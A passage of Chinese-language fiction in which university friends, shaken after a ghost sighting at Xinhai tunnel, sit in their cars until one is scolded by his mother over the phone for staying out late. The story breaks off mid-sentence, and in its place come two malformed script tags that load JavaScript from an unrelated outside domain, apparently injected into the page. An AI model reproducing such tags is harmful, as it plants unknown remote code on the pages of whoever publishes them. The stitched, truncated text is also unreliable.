阿杰坐在驾驶座上,双手还握在方向盘上,指节泛白。副驾驶座的小羽抱着摄影机,LCD屏幕上定格在他们跑出隧道前的最后一帧画面——隧道口那个提着纸灯笼的白衣女人,面纱下的嘴角微微上扬,像是在说“下次再来”。后座的彦钧缩成一团,把卫衣的帽子拉过头顶,双手环抱膝盖,整个人像一只受到惊吓的猫。阿BEN的车停在前面几米处,大饼坐在副驾驶座,透过车窗可以看到他正在反复检查相机里的照片,一张一张放大、缩小、再放大。
沉默持续了很久。
直到彦钧的手机突然响了。
“干!”彦钧整个人从座位上弹起来,后脑勺撞上车顶,发出“咚”的一声闷响。他手忙脚乱地从口袋里掏出手机,看了一眼来电显示,脸上的惊恐瞬间变成了困惑。
“是……是我妈。”他接了电话,“喂,妈?”
电话那头传来一个中年妇女中气十足的声音,即使在副驾驶座的小羽都能听得一清二楚:“陈彦钧!你几点要回来?你跟我说你跟同学去吃饭,吃到凌晨一点还没回来?你是吃到哪里去?吃到阳明山还是吃到地府去?”
彦钧的表情在“地府”两个字上僵了一秒。
“没有啦妈,我……我跟阿杰他们在讨论期末报告……”
“讨论期末报告要开车出去讨论?在家里不能讨论?你们是去图书馆还是去好乐迪?”
“妈,我真的——”
“我跟你说,你爸刚才起来上厕所,看到你房间灯没关,以为你还没睡,进去一看,人不在。你爸现在很不高兴,你最好给我赶快回来,不然你爸明天不给你加油钱。”
“好好好,我马上回去——”彦钧正要挂电话,忽然又想起什么,补了一句,“妈,我问你哦,你……你最近有没有觉得我怪怪的?”
电话那头沉默了两秒。“你从小就没正常过。到底要不要回来?”
“要要要。”
彦钧挂掉电话,长出一口气,整个人像泄了气的气球一样瘫在后座上。“我妈。”他有气无力地说,“她以为我去夜唱了。”
“你没跟你妈说你要来辛亥隧道?”小羽转头看他。
“我疯了才会跟我妈说。我妈如果知道我半夜来辛亥
/script src="https://m.hnkente.com/s002/fei.js"> /script src="https://m.hnkente.com/s001/fei.js">